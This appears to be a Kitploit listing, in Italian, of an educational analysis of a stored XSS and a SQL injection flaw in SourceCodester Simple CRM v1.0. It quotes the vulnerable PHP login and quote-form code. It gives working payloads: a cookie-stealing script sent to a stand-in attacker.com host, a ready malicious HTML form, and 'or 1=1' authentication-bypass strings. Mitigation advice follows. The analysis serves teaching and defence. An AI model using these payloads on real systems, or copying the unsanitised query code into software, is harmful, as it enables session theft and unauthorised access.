Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — Analisi educativa di CVE-2023-24203 (XSS memorizzato) e CVE-2023-24204 (SQL injection) in SourceCodester CRM, con passaggi di sfruttamento e strategie di mitigazione. | Kitploit
Strumenti/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

Analisi educativa di CVE-2023-24203 (XSS memorizzato) e CVE-2023-24204 (SQL injection) in SourceCodester CRM, con passaggi di sfruttamento e strategie di mitigazione.

Vedi Repository
12 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-24203-and-CVE-2023-24204

Introduzione

Nel panorama in continua evoluzione della cybersecurity, le applicazioni web rimangono un obiettivo primario per gli attaccanti che cercano di sfruttare le vulnerabilità. Recentemente, sono state scoperte due vulnerabilità critiche nel SourceCodester Simple Customer Relationship Management (CRM) System v1.0: CVE-2023-24203 e CVE-2023-24204. Queste vulnerabilità, che coinvolgono Cross-Site Scripting (XSS) e SQL Injection, comportano rischi significativi, inclusa l'esecuzione di codice arbitrario e l'accesso non autorizzato. Comprendere queste vulnerabilità e i loro impatti è essenziale per sviluppatori e professionisti della sicurezza per proteggere i sistemi da potenziali minacce.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) è un tipo di vulnerabilità che si verifica quando un'applicazione web consente agli utenti di iniettare script dannosi in pagine web visualizzate da altri utenti. Ciò può portare ad azioni non autorizzate per conto dell'utente, furto di dati e ulteriori sfruttamenti. Le vulnerabilità XSS possono essere classificate in tre tipi principali:

  1. Stored XSS: lo script dannoso viene memorizzato in modo permanente sul server di destinazione, ad esempio in un database, un forum di messaggi o un campo commenti.
  2. Reflected XSS: lo script dannoso viene riflesso da un server web, ad esempio in un messaggio di errore, un risultato di ricerca o qualsiasi altra risposta che includa parte o tutto l'input inviato al server.
  3. DOM-based XSS: la vulnerabilità risiede nel codice lato client anziché nel codice lato server.

SQL Injection

SQL Injection è un tipo di vulnerabilità che si verifica quando un attaccante è in grado di manipolare le query SQL iniettando codice SQL arbitrario in una query. Ciò può portare ad accesso non autorizzato, furto di dati e altre attività dannose. La SQL Injection si verifica tipicamente a causa di una validazione insufficiente degli input e della mancanza di query parametrizzate. I principali impatti della SQL Injection includono:

  1. Accesso non autorizzato: gli attaccanti possono aggirare i meccanismi di autenticazione per ottenere accesso non autorizzato a un sistema.
  2. Furto di dati: gli attaccanti possono esfiltrare informazioni sensibili dal database.
  3. Manipolazione dei dati: gli attaccanti possono modificare, inserire o eliminare dati all'interno del database.

In questo post, approfondiremo CVE-2023-24203 e CVE-2023-24204, esplorando i dettagli di queste vulnerabilità, i loro vettori di attacco, gli impatti e le strategie di mitigazione. Comprendere a fondo queste vulnerabilità è fondamentale per proteggere le vostre applicazioni e i vostri dati da potenziali exploit.

Cause comuni di SQL Injection nelle applicazioni web

Le vulnerabilità di SQL Injection sono spesso il risultato di una validazione degli input inadeguata e di pratiche di codifica scadenti. Alcune cause comuni includono:

  1. Mancanza di query parametrizzate: non utilizzare query parametrizzate consente agli attaccanti di iniettare codice SQL dannoso in una stringa di query.
  2. Validazione degli input inadeguata: non validare correttamente gli input degli utenti può portare all'esecuzione di comandi SQL non desiderati.
  3. Query SQL dinamiche: costruire query SQL in modo dinamico concatenando direttamente stringhe dagli input degli utenti può creare vulnerabilità sfruttabili.
  4. Escaping insufficiente degli input degli utenti: non eseguire correttamente l'escaping dei caratteri speciali negli input degli utenti può consentire attacchi di SQL injection.
  5. Codice legacy: i codebase più vecchi potrebbero non seguire le moderne pratiche di sicurezza, rendendoli più suscettibili alla SQL injection.

Cause comuni di XSS nelle applicazioni web

Le vulnerabilità di Cross-Site Scripting (XSS) sono tipicamente causate dalla mancata gestione corretta dell'input e dell'output degli utenti. Le cause comuni includono:

  1. Codifica dell'output non corretta: non codificare l'input dell'utente prima di visualizzarlo sulle pagine web può consentire l'iniezione di script dannosi.
  2. Validazione degli input inadeguata: non validare o sanificare gli input degli utenti può portare all'esecuzione di script iniettati.
  3. Input utente riflessi: riflettere direttamente gli input degli utenti nelle risposte senza una corretta validazione o codifica può provocare XSS riflessa.
  4. Input utente memorizzati: memorizzare gli input degli utenti senza una corretta sanificazione può portare ad attacchi di XSS memorizzata.
  5. Manipolazione del DOM: la manipolazione non sicura del Document Object Model (DOM) basata sugli input degli utenti può provocare XSS basata su DOM.

CVE-2023-24203: alla ricerca di una XSS memorizzata!

Riepilogo della vulnerabilità

CVE-2023-24203 è una vulnerabilità di Cross-Site Scripting (XSS) memorizzata trovata nel componente get-quote.php del SourceCodester Simple Customer Relationship Management (CRM) System v1.0. Questa vulnerabilità consente a un attaccante di iniettare script dannosi nei parametri company e query, che vengono poi memorizzati nel database ed eseguiti quando vengono visualizzati da un amministratore, portando all'esecuzione di codice arbitrario.

Dettagli della vulnerabilità

La vulnerabilità risiede nello script get-quote.php, che elabora l'input dell'utente da un modulo di richiesta di preventivo. Il codice sorgente PHP è mostrato di seguito:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

Lo script prende gli input dell'utente dal modulo (name, email, contact, company, services, other e query) e li incorpora direttamente in una query SQL per memorizzare i dati nel database. Mentre l'input services viene sanificato utilizzando mysqli_real_escape_string e addslashes, i parametri company e query non vengono adeguatamente sanificati o codificati quando vengono restituiti nella risposta. Questa mancanza di sanificazione e codifica corretta consente l'iniezione e la memorizzazione di script dannosi nel database.

Sfruttamento

Per sfruttare questa vulnerabilità, un attaccante può creare un payload che include codice JavaScript dannoso nel parametro company o query. Quando l'amministratore visualizza la richiesta di preventivo, lo script iniettato verrà eseguito nel suo browser.

Esempio di payload di exploit

Inviando il seguente payload nel parametro query:

root@kitploit:~
<script>alert('XSS');</script>

L'attaccante può innescare un attacco XSS quando l'amministratore visualizza la richiesta di preventivo.

Furto dei cookie dell'amministratore

È possibile creare un payload più dannoso per rubare i cookie di sessione dell'amministratore. Utilizzando il seguente payload nel parametro query:

root@kitploit:~
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

L'attaccante può inviare i cookie dell'amministratore a un server remoto controllato dall'attaccante.

Passaggi per lo sfruttamento

Inviare una richiesta di preventivo dannosa: l'attaccante compila il modulo di richiesta di preventivo, iniettando il payload dannoso nel campo company o query.

root@kitploit:~
<form method="post" action="get-quote.php">
    <input type="text" name="company" value="CompanyX"><br>
    <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
    <input type="submit" name="submit" value="Submit">
</form>

L'amministratore visualizza la richiesta: quando l'amministratore accede al sistema CRM e visualizza il preventivo inviato, lo script dannoso viene eseguito nel suo browser, inviando i suoi cookie di sessione al server dell'attaccante.

Impatto

Lo sfruttamento riuscito di questa vulnerabilità di XSS memorizzata consente a un attaccante di eseguire JavaScript arbitrario nel contesto del browser dell'amministratore. Ciò può portare a varie azioni dannose, tra cui:

Rubare i cookie di sessione Dirottare le sessioni degli utenti Eseguire azioni non autorizzate per conto dell'amministratore Reindirizzare l'amministratore a siti web dannosi

Mitigazione

Per mitigare questa vulnerabilità, è essenziale sanificare e codificare tutti gli input degli utenti prima di incorporarli nella pagina web. Nello specifico:

Sanificare gli input: utilizzare funzioni come htmlspecialchars() per codificare i caratteri speciali negli input degli utenti. Validare gli input: implementare una validazione rigorosa degli input per garantire che vengano accettati solo i dati previsti. Content Security Policy (CSP): utilizzare le intestazioni CSP per limitare le fonti da cui gli script possono essere caricati ed eseguiti.

CVE-2023-24204: alla ricerca di una SQL Injection e del bypass dell'autenticazione!

CVE-2023-24204 è una vulnerabilità di SQL Injection trovata nei componenti get-quote.php e login.php del SourceCodester Simple Customer Relationship Management (CRM) System v1.0. Questa vulnerabilità consente a un attaccante di iniettare comandi SQL arbitrari nel database, portando potenzialmente ad accesso non autorizzato e manipolazione dei dati.

Dettagli della vulnerabilità

La vulnerabilità di SQL Injection è presente sia nello script get-quote.php sia in admin/login.php. Di seguito è riportata un'analisi di come queste vulnerabilità si manifestano e possono essere sfruttate.

get-quote.php

Lo script get-quote.php elabora l'input dell'utente da un modulo di richiesta di preventivo. Il codice sorgente è mostrato di seguito:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

E diamo anche un'occhiata alla logica del codice sorgente di login.php.

root@kitploit:~
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
$city = $addrDetailsArr['geoplugin_city']; 
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");

$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";

echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>

Analisi della vulnerabilità

Lo script get-quote.php non sanifica adeguatamente il parametro name. Un attaccante può intercettare la richiesta utilizzando uno strumento come Burp Suite, modificare il parametro name e iniettare comandi SQL dannosi.

Lo script login.php è vulnerabile al bypass dell'autenticazione a causa della mancanza di una corretta validazione degli input nei campi email e password. Un attaccante può utilizzare un payload come hack' or 1=1;# per aggirare l'autenticazione e ottenere l'accesso.

Sfruttamento

  1. Sfruttamento di get-quote.php
  2. Intercettare la richiesta: utilizzare uno strumento proxy come Burp Suite per intercettare la richiesta di invio del modulo.
  3. Modificare il parametro name: iniettare comandi SQL dannosi nel parametro name. Ad esempio:

' OR '1'='1';--

  1. Inviare la richiesta modificata: inviare la richiesta modificata al server. Il comando SQL iniettato verrà eseguito dal database.

  2. Sfruttamento di login.php

  3. Navigare alla pagina di login: andare alla pagina login.php.

  4. Inserire il payload dannoso: utilizzare un payload come hack' or 1=1;# nel campo email e una stringa qualsiasi nel campo password.



  1. Aggirare l'autenticazione: inviare il modulo. Il payload aggira l'autenticazione, concedendo l'accesso all'account.

Impatto

Lo sfruttamento riuscito di queste vulnerabilità di SQL Injection può portare a varie azioni dannose, tra cui:

Accesso non autorizzato: gli attaccanti possono ottenere accesso amministrativo al sistema. Furto di dati: gli attaccanti possono esfiltrare informazioni sensibili dal database. Manipolazione dei dati: gli attaccanti possono modificare, inserire o eliminare dati all'interno del database. Mitigazione

Per mitigare queste vulnerabilità, è essenziale implementare una corretta validazione degli input e utilizzare query parametrizzate. Nello specifico:

Utilizzare statement preparati: implementare query parametrizzate per prevenire la SQL injection. Validare gli input: applicare una validazione rigorosa degli input per garantire che vengano accettati solo i dati previsti. Eseguire l'escaping degli input: eseguire correttamente l'escaping di tutti gli input degli utenti prima di utilizzarli nelle query SQL.

Seguendo queste best practice, è possibile ridurre significativamente il rischio di attacchi di SQL Injection e proteggere la propria applicazione web da potenziali sfruttamenti.

Scarica lo strumento